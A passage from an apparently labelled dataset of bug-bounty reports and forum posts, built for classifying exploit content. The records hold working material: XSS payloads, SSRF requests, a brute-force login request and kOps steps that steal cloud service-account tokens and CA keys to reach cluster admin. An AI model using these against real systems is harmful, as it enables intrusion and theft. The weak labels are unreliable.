clearly trying to add some options, which may perhaps be critical for security in that user's use case.\n\nHere's an example in which a curl user wishes to send secret credentials to an FTP server only if the FTP server supports SSL, analogous to the ==curl --ssl-reqd ftp://example.com== example on the https://curl.se/docs/manpage.html page. The user chooses to use only a filename (named my-curl-ftp-options.config below), not a full pathname, with the -K option, just as in the ==curl --config file.txt https://example.com== example on that page.\n\nThis example includes a user mistake, but the vulnerability is also relevant without any user mistake.\n\nSSL detection works fine if the user's current working directory contains the my-curl-ftp-options.config file. However, the user then makes the realistic mistake of changing to a different working directory without changing the -K value. (Here, the user goes to the /mnt/LargeVolume/user directory because it has much more disk space for storing", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f07647f9fb1566472df9", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2020-11022\n\n## Summary:\nCVE-2020-11022 at \" https://app.spiketrap.io/users/sign_in \"\n\n## Steps To Reproduce:\n\n Cross-Site Scripting (XSS)\n# Proof of Concept 1:\n<option><style></option></select><img src=x onerror=alert(1)></style>\n\n## Supporting Material/References:\nhttps://security.snyk.io/vuln/SNYK-JS-JQUERY-567880\nhttps://github.com/TIBCOSoftware/Augmented-Reality/issues/65\nhttps://www.exploit-db.com/exploits/49766\nhttps://www.cybersecurity-help.cz/vdb/SB2020042126\n\n  * [attachment / reference]\n\n## Impact\n\nCross site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-11022"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4e17b37045fcddbf11b8", "text": "[Server-Side Request Forgery (SSRF)] Mail app - blind SSRF via imapHost parameter\n\nHi everyone,\n\nI would like to report here a Blind SSRF vulnerability through the Nextcloud `Mail` application.\n\nTested on latest Mail release : `2.0.1`\n\n## Steps To Reproduce:\n\nDuring the connection process of a mail account on the integrated Mail application of Nextcloud, once all the fields validated (IMAP, STMP etc) the following POST request is made: \n\n```\nPOST /apps/mail/api/accounts HTTP/2\nHost: redacted\nCookie: redacted\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/plain, */*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nRequesttoken: redacted\nContent-Length: 333\nOrigin:  redacted\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"imapHost\":\"myimapserver.org\",\"imapPort\":993,\"imapSslMode\":\"tls\",\"imapUser\":\"xxx@xxx.org\",\"imapPassword\":\"xxx\",\"smtpHost\":\"mysmtpserver.org\",\"smtpPort\":465,\"smtpSslMode\":\"tls\",\"smtpUser\":\"xxx@xxx.org\",\"smtpPassword\":\"xxx\",\"accountName\":\"xxx@xxx.orgr\",\"emailAddress\":\"xxx@xxx.org\"}\n```\n\nFrom there, the SSRF will take place with the `imapHost` parameter and the desired port number with the `imapPort` parameter.\n\nWe can already confirm this with a hit to my burp Collaborator instance \n\n{F1987615}\n\nWe can then use this for a port scan based on the response time.\nResponse time < 100ms = port closed/no listening on it.\nPort > 1000ms response, port open, listening with a service on it. Here I will scan my server locally: \n\n```\n{\"imapHost\":\"127.0.0.1\",\"imapPort\":<port_number>,\"imapSslMode\":\"none\",\"imapUser\":\"xxx@xxx.org\",\"imapPassword\":\"xxx\",\"smtpSslMode\":\"none\",\"smtpUser\":\"xxx@xxx.org\",\"smtpPassword\":\"xxx\",\"accountName\":\"xxx@xxx.org\",\"emailAddress\":\"xxx@xxx.org\"}\n```\nIt is important here to leave the parameter `imapSslMode` on `none` ! \n\n{F1987665}\n\nTo automate, this can be done with the Intruder tool from Burp Suite.\nAnd here the result on my server : \n\n```\nPort 80 - response time : 5200ms - Apache2 service\nPort 443 - response time : 5200ms - Apache2 service\nPort 8080 - response time 5140ms - CrowdSec\nPort 6060 - response time 5180ms - CrowdSec\nPort 5432 - response time 5191ms -  PostgreSQL\nPort 6379 - response time 5216ms - My Redis instance for Nextcloud\n```\n\n{F1987657}\n\nI tried a lot to increase the impact of this totally blind SSRF, I don't think it is possible to increase the impact of this vulnerability.\n\n## Impact\n\nFrom [OWASP](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) : \n\n> SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).\n\nWe are here on a totally Blind SSRF vulnerability.\n\nThis vulnerability can be exploited by any user, regardless of their rights, as long as the `mail` application is installed and enabled. A malicious person can therefore retrieve the services running locally on the server, scan your internal network for interesting information about which IPs are responding, which services are running on each IP address, etc.\n\nLooking forward to exchanging.\n\nRegards,\nSupr4s", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5754d57a7dde5e34a689", "text": "I managed to solve this skill assesement, but I don’t understand why Like, I get the server is not blacklisting the “.”, but why the “” which basically returns a “.” don’t give the same result? I tested both commands on my terminal, and both command produces the same final result (&cat /flag.txt) Can someone clarify to me why? Thanks!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1415e90982ba6e194b7e", "text": "[Improper Restriction of Authentication Attempts] blog/wp-json/wp/v2/users FILE is enable it will used for bruteforce attack the admin panel at   blog/wp-login.php\n\nhello team,\n\nThe file v2/users at https://happynumbers.com/blog/wp-json/wp/v2/users/ is enabled and this give the attacker many users names like ```admin``` ```adam``` ```Alexa``` ```Alina``` ```Danny``` ```David``` ```Fedor``` ```Olga```  to use them at https://happynumbers.com/blog/wp-login.php on BRUTE FORCE attack ( because no protection against this attack)\n\n##POC:\n\n1- Go to https://happynumbers.com/blog/wp-json/wp/v2/users/ \n2- pic the ```admin``` username or any other name\n3- go to https://happynumbers.com/blog/wp-login.php and put the ```admin``` on username fields and put any password\n4- intercept the request with burpsuite and send the request to Intruder and set the payload on ```pwd``` parameter and start the brute force attack , the request will be like that:\n```\nPOST /blog/wp-login.php HTTP/2\nHost: happynumbers.com\nCookie: wordpress_test_cookie=WP%20Cookie%20check; _happy-numbers_session=ZUFYZTNURnM2cGpWRXAzRUllaUFLQzl3a0I0YUpPaWFOSWxkaTd4NHJhRWJRZFRHOGQ5VmMwc3NnM2xjUWtoUVNsSElCeHVMdURJNnJ5ZStJZFlkUFpZeXNlWUhwR1dybXBpWnVBdmpTbXN6d1VqOW9FYlJ1Z2E3VlNxS3BVaUNON2VWQ3FreDA2Rk9ySVNEQ3IzWmJ4NUpTcFY5VE5xUllzUW1FcG03eTBxMXFzUnIvelFjd0dPMXJicDVvMlJTLS1wbVhUcGorOUxQQ0ZQWmZnMHpBQVVRPT0%3D--6ace53f5da4342db8c60454a98fa5f587d271556\nContent-Length: 125\nCache-Control: max-age=0\nSec-Ch-Ua: \"Google Chrome\";v=\"95\", \"Chromium\";v=\"95\", \";Not A Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: https://happynumbers.com\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://happynumbers.com/blog/wp-login.php?redirect_to=http%3A%2F%2Fhappynumbers-blog.herokuapp.com%2Fwp-admin%2F&reauth=1\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,ar;q=0.8\n\nlog=admin&pwd=admina§d§min&wp-submit=Log+In&redirect_to=http%3A%2F%2Fhappynumbers-blog.herokuapp.com%2Fwp-admin%2F&testcookie=1\n```\n5- you still get this msg on the response ```The password you entered for the username admin is incorrect. ```\n6- i tried more than 100 requests and im not get blocking \n\n\n##screen shoot attached\n\n## Impact\n\nInformation Disclosure , may lead to login to the admin panel", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1d9f3e7a1128c5cf2c70", "text": "After maybe about a week I was finally able to get this assessment figured out the best hint I can give it to follow what you did with Bill in the previous sections, but you do get a login for g.potter.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "246ad131e227ec944b13", "text": "[NULL Pointer Dereference] NULL Pointer dereference in idn.c\n\n## Summary:\nA NULL Pointer dereference vulnerability is present in idn.c source code.\nThis module is responsible of handling international domain name.\nThis issue was found performing manual source code review of Curl which took >20 hours.\n\n## Steps To Reproduce:\nFind below a detailed and commented execution flow / code snippet explanation.\n\n## Impact \nIn some circumstances writing or reading memory is possible, which may lead to code execution. \n\n###  Code Snippet\n```c\nstatic CURLcode idn_decode(const char *input, char **output)\n{\n\nchar *decoded = NULL;\n/* 4. 'decoded' initialized to a null pointer value\t*/\n\nCURLcode result = CURLE_OK;\n#ifdef USE_LIBIDN2\nif(idn2_check_version(IDN2_VERSION)) {\n\t\n/* 5. Assuming the condition is false\t*/\n/* 6. Taking false branch\t*/\n\nint flags = IDN2_NFC_INPUT\n#if IDN2_VERSION_NUMBER >= 0x00140000 | IDN2_NONTRANSITIONAL\n#endif;\nint rc = IDN2_LOOKUP(input, &decoded, flags);\nif(rc != IDN2_OK)\nrc = IDN2_LOOKUP(input, &decoded, IDN2_TRANSITIONAL);\nif(rc != IDN2_OK)\nresult = CURLE_URL_MALFORMAT;\n}\n#elif defined(USE_WIN32_IDN)\nresult = win32_idn_to_ascii(input, &decoded);\n#endif\n\nif(!result)\n/* 7. Taking true branch */\n*output = decoded;\n/* 8. Null pointer value stored to 'decoded'\t*/\nreturn result;\n/* 9. Returning zero (loaded from 'result'), which participates in a condition later */\n\n...\n\n#ifdef USE_IDN\n\nif(!Curl_is_ASCII_name(host->name)) {\n/* 1. Assuming condition is True */\nchar *decoded;\n\n/* 2  Calling idn_decode */\nCURLcode result = idn_decode(host->name, &decoded); \n\n/* 10. Returning from idn_decode*/\nif(!result) \n/* 11. Taking True branch */\n{\n    if(!*decoded) \n    {\n\t/* 12.  Dereference of null pointer (loaded from variable 'decoded') */\n    Curl_idn_free(decoded);\n    return CURLE_URL_MALFORMAT;\n\t}\n\nhost->encalloc = decoded;\nhost->name = host->encalloc;\n}\nelse\n    return result;\n}\n#endif\nreturn CURLE_OK;\n }\n```\n## Remediation\nImplement sanity checks to never dereference null pointer.\n\n## References\n- https://cwe.mitre.org/data/definitions/476.html\n- https://0x00sec.org/t/kernel-exploitation-dereferencing-a-null-pointer/3850\n- https://www.abatchy.com/2018/01/kernel-exploitation-6\n- https://access.redhat.com/articles/20484\n\n## Impact\n\n- Crash or Segmentation Fault: If the decoded pointer is dereferenced when it is still NULL, it will lead to a crash or segmentation fault. This can disrupt the normal operation of the program.\n    - Exploitation Scenario: An attacker can send specially crafted input data to trigger the vulnerable code path, causing the program to crash. While this doesn't directly lead to a security breach, it can be used as part of a larger attack to disrupt a service or application.\n\n- Denial of Service (DoS): A null pointer dereference can be exploited to cause a DoS attack by repeatedly triggering the vulnerable code path, causing the application to crash and become unavailable.\n    - Exploitation Scenario: An attacker could send a high volume of malicious requests that exploit the vulnerability, causing the service to crash repeatedly. This results in a DoS condition, making the service unavailable to legitimate users.\n\n-   Remote Code Execution (Rare): In some cases, null pointer dereferences can potentially be leveraged for remote code execution if the attacker can control the data that leads to the dereference and can influence the program's control flow.\n    *  Exploitation Scenario: An attacker would need to have a deep understanding of the program's memory layout and control flow to craft input that not only triggers the null pointer dereference but also redirects program execution to attacker-controlled code. This scenario is less likely but more severe.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b04252af63eac80d16cd", "text": "[Server-Side Request Forgery (SSRF)] The endpoint '/test/webhooks' is vulnerable to DNS Rebinding\n\n## Summary:\n\nDNS rebinding attack is a method of switching the resolution of domain names as wished by the attacker. The aim is to lure the web app to a different IP address/host.  In this attack, and particularly in our case, a malicious server will first perform a domain name resolution to the IP address of `178.62.122.208` (a random HTTP server that is valid as a Web-hook for Omise web-app) and than rebind to an internal IP address `127.0.0.1`, thus, bypassing firewall protection.  \n\nThe malicious link is `https://A.178.62.122.208.1time.127.0.0.1.1time.repeat.rebind.network/webhook5` can be depicted as follow:\n  1. Initial resolution of the IP address will point to `178.62.122.208` for the first time.\n  2. The second time, the malicious DNS server will resolve to `127.0.0.1` for one time.\n  3.The next time the DNS server will switch back the first IP address. And so on.\n\nWhen a user uses a private IP address an error will be displayed, the web app recognizes that the web-hook endpoint is either insecure or forbidden.\nHowever, DNS rebinding attack will bypass this protection.\n\n## Steps To Reproduce:\n\n  1. Create an account at Omise.co and go to <https://dashboard.omise.co/test/webhooks>\n  1. Add the following endpoint `https://A.178.62.122.208.1time.127.0.0.1.1time.repeat.rebind.network/webhook5` as an external web-hook.\n\nIn case, the malicious DNS server resolves initially the previous URL to `127.0.0.1` you will get this error:\n\n  {F1491842}\n\nIn case, it resolves initially to the other IP address. It will be saved.\n\n{F1491844}  \n\n## Supporting Material/References:\n\n  * <https://hackerone.com/reports/508459>\n  * <https://github.com/brannondorsey/whonow>\n\n## Impact\n\nThis is a Blind SSRF, since the malicious URL induces the server side to perform a request to an internal endpoint each time a recent activity is fired such as *Create a recipient*. Furthermore, the malicious URL can be further personalized (replace `webhook5` with `else/internal` to get `https://127.0.0.1/else/internal`).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a22423ef7077f0f6b87c", "text": "does anybody know what the ^ does? i can’t find the answer online.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b3bc765b241567eea86", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44571] Possible Denial of Service Vulnerability in Rack Content-Disposition parsing\n\nI made a report and patch at https://hackerone.com/reports/1675235\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44571-possible-denial-of-service-vulnerability-in-rack-content-disposition-parsing/82126\n\n> There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.\n> Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\n\n## Impact\n\nAny applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nSince it is a manipulation of the request body, it is possible to bypass the request header size limit and make more dangerous attacks.\n\nIt was possible to attack ReDoS on many servers without authentication, but in the case of this regular expression, if it is ruby 3.2 or higher, there is a memoization countermeasure, so it is not a threat.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-44571"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "939c1d9a0cf16ce8ea1a", "text": "try replacing your port number with the word PORT in your answer", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "407c25dd23a145bc428a", "text": "[Improper Access Control - Generic] fs module's file watching is not restricted by --allow-fs-read\n\n**Summary:** [add summary of the vulnerability]\nThe `--allow-fs-read` flag of the permission system does not prevent file watching.\n\n**Description:** [add more details about this vulnerability]\nAttackers can watch files that they don't have read access to.\n\n## Steps To Reproduce:\nRun the following code with `--experimental-permission` and do not grant read access to `file.txt`. Modify `file.txt` in another process. Information is leaked to the attacker about a file they should not have access to.\n\n```js\n'use strict';\nconst fs = require('node:fs');\n\nasync function main() {\n\tfs.watchFile(__dirname + '/file.txt', () => {\n\t\tconsole.log('able to watch a file without any permissions');\n\t});\n}\n\nmain();\n```\n\n## Impact: [add why this issue matters]\n\nThe permission system is bypassed. Attackers can receive events related to files they do not have access to.\n\n## Supporting Material/References:\n\nNone\n\n## Impact\n\nThe permission system is bypassed.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "50acec0bea2c0e002133", "text": "With credentials and login admin page, u can deploy reverse shell via upload file and trigger it. You can got flag 4 and flag 5 is not hard. GTFOBins help you escape privilege", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31064212d34021e9a928", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS due to vulnerable version of sockjs\n\n## Summary:\nThere is reflected XSS on *.simperium.com. The bug exists due to a vulnerable version of sockjs library.\n\n## Platform(s) Affected:\nsimperium.com\njs.simperium.com\n\n## Steps To Reproduce:\n  1. Visit https://simperium.com/sock/1/0/0/0/htmlfile?c=alert('XSS')//\n  2. You will see an alert message because of executed JS\n\n## Impact\n\nXSS may be used by an attacker to perform a lot of things, for example, to steal user session", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "43a612b90a07107c90c6", "text": "[Privilege Escalation] Privilege Escalation in kOps using GCE/GCP Provider\n\n## Summary:\nWhen using kOps with the GCP provider, it is possible for a user with shell access to any pod, to escalate their privileges to cluster admin. During provisioning of the cluster, kOps gives all nodes access to the state storage bucket through the service account associated with the instance. Any user with shell access can request the service account credentials, and read sensitive information from the state store. Using this information, the user can privesc to cluster admin, compromising the entire cluster. It is further possible to compromise a privileged GCP service account associated with the control-plane nodes and takeover other resources in the GCP project.\n\n## Kubernetes Version:\nKubernetes: v1.25.5\n\n## Component Version:\nkOps: v1.25.3\n\n## Steps To Reproduce:\n### Cluster Setup:\n\nThe test cluster was setup as close to the [getting started](https://kops.sigs.k8s.io/getting_started/gce/) guide as possible.\n```bash\nexport KOPS_STATE_STORE=gs://kops-state-test/\nexport PROJECT=`gcloud config get-value project`\n\ngsutil mb $KOPS_STATE_STORE\nkops create cluster kops.k8s.local --zones europe-west1-b --state ${KOPS_STATE_STORE} --project=$PROJECT --master-size=n1-standard-2 --node-size=n1-standard-2\nkops update cluster --name kops.k8s.local --yes --admin\nkops validate cluster --wait 10m\n```\n### Privesc\n  1. Add a demo container in which user is allow shell access (manifest attached):\n  `k apply -f shell.yaml`\n  2. Give ourselves a shell:\n  `k exec -it shell-5d64dd647c-8l8s6 -it -- ash`\n  3. Grab the service account token and state bucket name\n  ```\n  pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O default.token\n  pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script -O- | grep ConfigBase\n  ```\n  4. Copy file back to the host\n  ```\n  k cp shell-5d64dd647c-8l8s6:/default.token default.token\n  ```\n  5.  Ensure normal gcloud auth not in use and set token environment var\n  ```\n  gcloud auth revoke\n  export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./default.token)\n  ```\n  6. Grab the kubernetes CA keys\n  ```\n  mkdir -p keys\n  gcloud storage cat gs://kops-state-test/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].privateMaterial' - | base64 -d > keys/ca.key\n  gcloud storage cat gs://kops-state-test/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].publicMaterial' - | base64 -d > keys/ca.pem\n  ```\n  7. Generate system:masters cert (csr.json template attached)\n  ```\n  cd keys\n  cfssl gencert -ca=ca.pem -ca-key=ca.key -profile=kubernetes csr.json | cfssljson -bare user\n  ```\n  8. Construct new kubeconfig\n  ```\n  export KUBECONFIG=./pwn.kconfig\n  k config set-credentials pwn --client-certificate=user.pem --client-key=user-key.pem\n  k config set-cluster kops --certificate-authority=ca.pem --server=https://<kops-ip>\n  k config set-context pwn@kops --cluster=kops --user=pwn\n  k config use-context pwn@kops\n  ```\n  9. Check we are cluster-admin\n  `k auth can-i '*' '*' -A`\n  10. Deploy a pod on the master node (example manifest included), make sure to edit to the correct node name\n  `k apply -f shell-master.yaml`\n  11. Give ourselves a shell:\n  `k exec -it shell-78d66f6f7c-ft7ch -it -- ash`\n  12. Grab the privileged GCP service account token\n  ```\n  pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O admin.token\n  ```\n 13. Copy the token back to our host\n  ```\n  k cp shell-78d66f6f7c-ft7ch:/admin.token admin.token\n  ```\n  14. Set our credentials\n  ```\n  export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./admin.token)\n  ```\n  15. Run a cryptominer ....\n  ```\n  gcloud compute instances create miner --image-family=ubuntu-2204-lts --zone=europe-west1-b --image-project=ubuntu-os-cloud\n  ```\n\n## Supporting Material/References:\n  * shell.yaml - ba", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a46339bfffa47ec0e961", "text": "[Business Logic Errors] A Unverified User Can Post Newsletter (Which Is Not Allowed Through Application UI)\n\nDuring the security testing, It has been observed that multiple features are not accessible to the unverified user( the user who did not verify the email) .. like :\ni) Creating posts and articles. \nii) Sending connection and message Requests\niii) Liking posts\nAlso, For the unverified user, The API ```POST /voyager/api/publishing/normFirstPartyArticle```  gives 403 error \nand also there is no option to create the Newsletter in the application UI.\n██████\nBut if we directly send the below request with the unverified user cookie ..it will be possible to create a new Newsletter.\n```\nPOST /voyager/api/publishing/contentSeries HTTP/2\nHost: www.linkedin.com\nCookie: xxx\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/vnd.linkedin.normalized+json+2.1\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Li-Lang: en_US\nX-Li-Track: {\"clientVersion\":\"1.11.265\",\"mpVersion\":\"1.11.265\",\"osName\":\"web\",\"timezoneOffset\":5.5,\"timezone\":\"Asia/Kolkata\",\"deviceFormFactor\":\"DESKTOP\",\"mpName\":\"voyager-web\",\"displayDensity\":1,\"displayWidth\":1440,\"displayHeight\":900}\nX-Li-Page-Instance: urn:li:page:d_flagship3_publishing_post_edit;███████\nCsrf-Token: ajax:████\nX-Restli-Protocol-Version: 2.0.0\nX-Li-Pem-Metadata: Voyager - Article Creator=create-series-model\nContent-Type: application/json; charset=utf-8\nContent-Length: 185\nOrigin: https://www.linkedin.com\nDnt: 1\nReferer: https://www.linkedin.com/post/edit/███\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"title\":\"dfghjk\",\"description\":\"dgfhjkcgvhbjnkm\",\"publishFrequency\":{\"duration\":2,\"unit\":\"MONTH\"},\"inviteTargetAudiences\":true,\"logoUrn\":\"urn:li:digitalmediaAsset:█████\"}\n```\n## Steps :\n1) Sign up for an account on Linkedin\n2) Without verifying the email, jump directly to the URL : https://www.linkedin.com/post/new/ to write an article \n3) It can be seen that there is no option to create a  Newsletter. \n██████████\n4) Now Login into the account where the Email is verified and try to create a newsletter.\n████████\n5) Click on Done and capture the vulnerable request and replay the request with the unverified user cookies.\nand the newsletter will be successfully created.\n████████\n\n## Vulnerable Request \n```\nPOST /voyager/api/publishing/contentSeries HTTP/2\nHost: www.linkedin.com\nCookie: xxx\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/vnd.linkedin.normalized+json+2.1\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Li-Lang: en_US\nX-Li-Track: {\"clientVersion\":\"1.11.265\",\"mpVersion\":\"1.11.265\",\"osName\":\"web\",\"timezoneOffset\":5.5,\"timezone\":\"Asia/Kolkata\",\"deviceFormFactor\":\"DESKTOP\",\"mpName\":\"voyager-web\",\"displayDensity\":1,\"displayWidth\":1440,\"displayHeight\":900}\nX-Li-Page-Instance: urn:li:page:d_flagship3_publishing_post_edit;█████\nCsrf-Token: ajax:█████████\nX-Restli-Protocol-Version: 2.0.0\nX-Li-Pem-Metadata: Voyager - Article Creator=create-series-model\nContent-Type: application/json; charset=utf-8\nContent-Length: 185\nOrigin: https://www.linkedin.com\nDnt: 1\nReferer: https://www.linkedin.com/post/edit/██████\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"title\":\"dfghjk\",\"description\":\"dgfhjkcgvhbjnkm\",\"publishFrequency\":{\"duration\":2,\"unit\":\"MONTH\"},\"inviteTargetAudiences\":true,\"logoUrn\":\"urn:li:digitalmediaAsset:████\"}\n```\n\n## Impact\n\nA Unverified User can Create Newsletter Even if it is not allowed through the application UI which violets the business logic of the application .", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e19cc5c0c8e026794870", "text": "[Cross-Site Request Forgery (CSRF)] Improper CSRF token validation allows attackers to access victim's accounts linked to Hackerone\n\n### Overview:\n\nOrganisations in Hackerone can automate their workflow by integrating their accounts with their existing tools like Github or Jira. Most of these integrations are built on top of Tray.io's embedded product.\n\nAccording to this [article](https://tray.io/customers/story/hackerone). Hackerone has established Tray Embedded as central integration hub to deliver high-quality customer integration.\n\n### Flawed Authorization flow\n\nI have created two sandbox Hackerone accounts and picked the github integration for testing. This [link](https://docs.hackerone.com/programs/github-integration.html) explains very well how to setup the integration on your account.\n\nWhen we click on \"New Authentication\", an exchange starts between Hackeron's integration authentication server and the service provider. \n\n{F1976245}\n\nThe authentication integration server is ```hackerone.integration-authentication.com```. The following are steps of the authorization flow:\n\n1. The flow starts with a POST request to\n```hackerone.integration-authentication.com/session```\n\n {F1976252}\n\nThe response contains two tokens: ***session*** and ***csrf***. \n\n2. The frontend takes those values and uses them to send a request to the oauth2 endpoint to generate the authorization link.\n\n```\nhttps://hackerone.integration-authentication.com/oauth2/auth/:authentication_id?csrf=QDXo8g3vciWTiV9Mm1L-VpYl6hKQCE-4ORmMFliZNh8=&scope=read:org%20repo&session=78NgOnCMPISn0LPw4Zto5HFSRLJwJyLaJqqi6_bFmXU=\n```\n\n {F1976253}\n\n3. Following the redirection takes us to the authorization page of the service provider\n\n {F1976255}\n\nIf we choose to Authorize Hackerone, we will get redirected to the token callback endpoint:\n```\nhackerone.integration-authentication.com/oauth2/token?code=47b070b577c905d66124&state=507dad3e-aa80-4fee-8ec1-a04ad95aea83%2CQDXo8g3vciWTiV9Mm1L-VpYl6hKQCE-4ORmMFliZNh8%3D%2C%2Chackerone.integration-configuration.com%2Cproduction%2C78NgOnCMPISn0LPw4Zto5HFSRLJwJyLaJqqi6_bFmXU%3D\n```\n \n\nThis endpoint validates the code received from Github, the backend relies on the ***state*** parameter to determine to which user should the Github access token be appropriated. Then it redirects us to the callback endpoint ```https://hackerone.integration-configuration.com/auth/cb?id=507dad3e-aa80-4fee-8ec1-a04ad95aea83``` which sends a postmessage to the embedded iframe to validate the integration on the client side.\n\nBy analyzing these requests, I found that step 2 was not well protected against cross site forgery attacks. The unproper validation of the CSRF token puts all Hackerone's customers at a big risk. With one click from the victim, the attacker couldtrick the victim to link their Github(or any other integration built on top of Tray.io) to the attacker's account.\n\n### POC:\n{F1976267}\n\n\n### Reproduction Steps:\n. Attacker creates a program then starts setting up a an integration(for example Github)\n\n. Attacker keeps forwarding requests until a GET request similar to\n\n```\nhttps://hackerone.integration-authentication.com/oauth2/auth/<Auth ID>?csrf=F_Sr5vd7hWMLSkZoubYOTMbwROI922ZU6q1S4fEF43E=&scope=read:org%20repo&session=1iydW3sIKpyTGxhG8lxeWY9ddzaUknoUJT9Rr51ptMc=\n```\n\n. 